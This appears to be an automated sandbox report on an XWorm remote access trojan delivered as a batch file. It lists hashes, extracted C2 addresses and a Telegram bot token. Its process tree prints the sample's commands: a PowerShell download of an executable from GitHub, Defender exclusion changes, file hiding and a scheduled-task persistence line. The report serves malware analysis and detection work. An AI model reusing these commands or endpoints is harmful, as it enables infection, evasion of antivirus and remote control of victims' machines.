xworm | 96cc09ef13054fe37778f15fa87202e727832895f9712f68a18618fcb5c24ef1

Analysis

max time kernel
146s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-01-2025 19:37

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General

Target

fmcth.bat
Size

77KB
MD5

468184814f843ccabfba6e4797b64dea
SHA1

da23c44c7143e01c6084fd99f680926b553c3ba1
SHA256

96cc09ef13054fe37778f15fa87202e727832895f9712f68a18618fcb5c24ef1
SHA512

3c6cc618f4ecff6a46814fa7e1132ef06bbc306b58b692e25b355401fff6fec3cc6a5472d3376f39cefb23d9d85cd3d0138360d69a957c84884b4e79578ef541
SSDEEP

1536:1ueBx7KjbtTZiK77VvRFf0bc7OMYIUuH4Rx+GwnPNm8ywUp5QjSdDmjnFllQZEqV:1uAx7KjbtTZiK77VvRFf0bc7OMYIUuH2

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:7703

147.185.221.25:7703

regarding-states.gl.at.ply.gg:7703

Attributes

Install_directory
%AppData%
install_file
ApplicationFrameHost.exe
telegram
https://api.telegram.org/bot6353034618:AAHzEkRGIc7NNoV5QuVXoAVVOMmU4ikzPYc/sendMessage?chat_id=1735841155

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000700000001e754-44.dat	family_xworm
behavioral2/memory/3608-46-0x0000000000200000-0x0000000000218000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	5020	powershell.exe
16	5020	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5020	powershell.exe
1192	powershell.exe
3760	powershell.exe
4644	powershell.exe
1712	powershell.exe
4928	powershell.exe
1940	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation	MicrosoftAccount.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ApplicationFrameHost.lnk	MicrosoftAccount.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ApplicationFrameHost.lnk	MicrosoftAccount.exe

Executes dropped EXE 3 IoCs

pid	Process
3608	MicrosoftAccount.exe
3760	ApplicationFrameHost.exe
2332	ApplicationFrameHost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ApplicationFrameHost = "C:\\Users\\Admin\\AppData\\Roaming\\ApplicationFrameHost.exe"	MicrosoftAccount.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
15	raw.githubusercontent.com
16	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
1192	powershell.exe
1192	powershell.exe
3760	powershell.exe
3760	powershell.exe
5020	powershell.exe
5020	powershell.exe
4644	powershell.exe
4644	powershell.exe
1712	powershell.exe
1712	powershell.exe
4928	powershell.exe
4928	powershell.exe
1940	powershell.exe
1940	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeDebugPrivilege	3760	powershell.exe
Token: SeDebugPrivilege	5020	powershell.exe
Token: SeDebugPrivilege	3608	MicrosoftAccount.exe
Token: SeDebugPrivilege	4644	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	4928	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	3608	MicrosoftAccount.exe
Token: SeDebugPrivilege	3760	ApplicationFrameHost.exe
Token: SeDebugPrivilege	2332	ApplicationFrameHost.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4460 wrote to memory of 1192	4460	cmd.exe	83
PID 4460 wrote to memory of 1192	4460	cmd.exe	83
PID 4460 wrote to memory of 216	4460	cmd.exe	84
PID 4460 wrote to memory of 216	4460	cmd.exe	84
PID 4460 wrote to memory of 3760	4460	cmd.exe	85
PID 4460 wrote to memory of 3760	4460	cmd.exe	85
PID 4460 wrote to memory of 3132	4460	cmd.exe	86
PID 4460 wrote to memory of 3132	4460	cmd.exe	86
PID 4460 wrote to memory of 5020	4460	cmd.exe	87
PID 4460 wrote to memory of 5020	4460	cmd.exe	87
PID 4460 wrote to memory of 3608	4460	cmd.exe	88
PID 4460 wrote to memory of 3608	4460	cmd.exe	88
PID 4460 wrote to memory of 4896	4460	cmd.exe	89
PID 4460 wrote to memory of 4896	4460	cmd.exe	89
PID 3608 wrote to memory of 4644	3608	MicrosoftAccount.exe	90
PID 3608 wrote to memory of 4644	3608	MicrosoftAccount.exe	90
PID 3608 wrote to memory of 1712	3608	MicrosoftAccount.exe	92
PID 3608 wrote to memory of 1712	3608	MicrosoftAccount.exe	92
PID 3608 wrote to memory of 4928	3608	MicrosoftAccount.exe	94
PID 3608 wrote to memory of 4928	3608	MicrosoftAccount.exe	94
PID 3608 wrote to memory of 1940	3608	MicrosoftAccount.exe	96
PID 3608 wrote to memory of 1940	3608	MicrosoftAccount.exe	96
PID 3608 wrote to memory of 4612	3608	MicrosoftAccount.exe	98
PID 3608 wrote to memory of 4612	3608	MicrosoftAccount.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3132	attrib.exe
4896	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\fmcth.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -window hidden -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1192
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3760
- C:\Windows\system32\attrib.exe
  attrib +h "MicrosoftAccount" /s /d
  2⤵
  - Views/modifies file attributes
  PID:3132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest 'https://github.com/SchoolSigmaBoy/SchoolSigma/raw/main/SigmaBoy.exe' -OutFile MicrosoftAccount.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\ProgramData\Microsoft\Settings\Accounts\MicrosoftAccount.exe
  MicrosoftAccount.exe
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Settings\Accounts\MicrosoftAccount.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MicrosoftAccount.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ApplicationFrameHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1940
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "ApplicationFrameHost" /tr "C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4612
- C:\Windows\system32\attrib.exe
  attrib +h "C:\ProgramData\Microsoft\Settings\Accounts\MicrosoftAccount.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:4896

C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3760

C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
C:\Users\Admin\AppData\Roaming\ApplicationFrameHost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\Microsoft\Settings\Accounts\MicrosoftAccount.exe

Filesize
69KB

MD5
60efdd9e1cf39dd0a3a7fbdeb6a2d391

SHA1
29dbc62cedd344c115047fcec30f83e81c6d794c

SHA256
5ad2e8363c51cc2392e5ea5c34fd426d585c118a1010cd034ccca53cb9aea8b0

SHA512
c070114f7bbc384b5362111a70f1a910ecbf08b909d9e7b4222c904c221a107494e38840f5bc443faee8822281c5d46d65c7970003b7b625e7d1488ce6d58b84

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ApplicationFrameHost.exe.log

Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
a6c9d692ed2826ecb12c09356e69cc09

SHA1
def728a6138cf083d8a7c61337f3c9dade41a37f

SHA256
a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b

SHA512
2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c8fb57c34462baffeeecca3f847a94b0

SHA1
7f566ce7fff2e92e2b2cfb71308f4e41db91c1a5

SHA256
eaab89995b83126b9a118458e640a02bc4bacb88a43f9afac2858f033ded8008

SHA512
74d529444419a4399a3453919beb85b0c5f885641efdff4417628e806c8b795199effc124e017d28c64c94071aa0bf227fabf4b7e8dbcf18f3637623063b5329

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
8e4e462e64126355db69af06ba8f774e

SHA1
279d1d08ad530bf8a249366c5d927e1533f77f1a

SHA256
c263a08e8768e9038dc462db8782f66ce94230ce8a372d7320e8eb7f862a3f76

SHA512
92bd1d207d3f9d139e949e47f70d69ef1be8d40c11b03fd2bebb22bfeb598b6065921a1f3ec931e8a4d4dfdb8974a8405f17a1b3f54e4fc549fd8ea1dd5fb353

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96e3b86880fedd5afc001d108732a3e5

SHA1
8fc17b39d744a9590a6d5897012da5e6757439a3

SHA256
c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294

SHA512
909b1968f7204fa7029109b02232d8cc5438f6b4dc7c9044e4e47c59fcee538199b13029e36592b12ed573d48a308dd4822d2ced4129ab08d4111897e02be55d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
dd1d0b083fedf44b482a028fb70b96e8

SHA1
dc9c027937c9f6d52268a1504cbae42a39c8d36a

SHA256
cab7944d29e0501dc0db904ac460ca7a87700e0ec7eb62298b7b97cbf40c424c

SHA512
96bec38bfda176292ae65dcf735103e7888baa212038737c1d1e215fcb76e4c0355e4a827a1934303e7aecae91012fa412f13e38f382b732758bae985cc67973

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a0e5o0r2.c2x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1192-12-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

Filesize
10.8MB

Download
memory/1192-15-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

Filesize
10.8MB

Download
memory/1192-0-0x00007FFEF6F03000-0x00007FFEF6F05000-memory.dmp

Filesize
8KB

Download
memory/1192-11-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

Filesize
10.8MB

Download
memory/1192-1-0x000001D0FD010000-0x000001D0FD032000-memory.dmp

Filesize
136KB

Download
memory/3608-46-0x0000000000200000-0x0000000000218000-memory.dmp

Filesize
96KB

Download
memory/3760-30-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

Filesize
10.8MB

Download
memory/3760-18-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

Filesize
10.8MB

Download
memory/3760-17-0x00007FFEF6F00000-0x00007FFEF79C1000-memory.dmp

Filesize
10.8MB

Download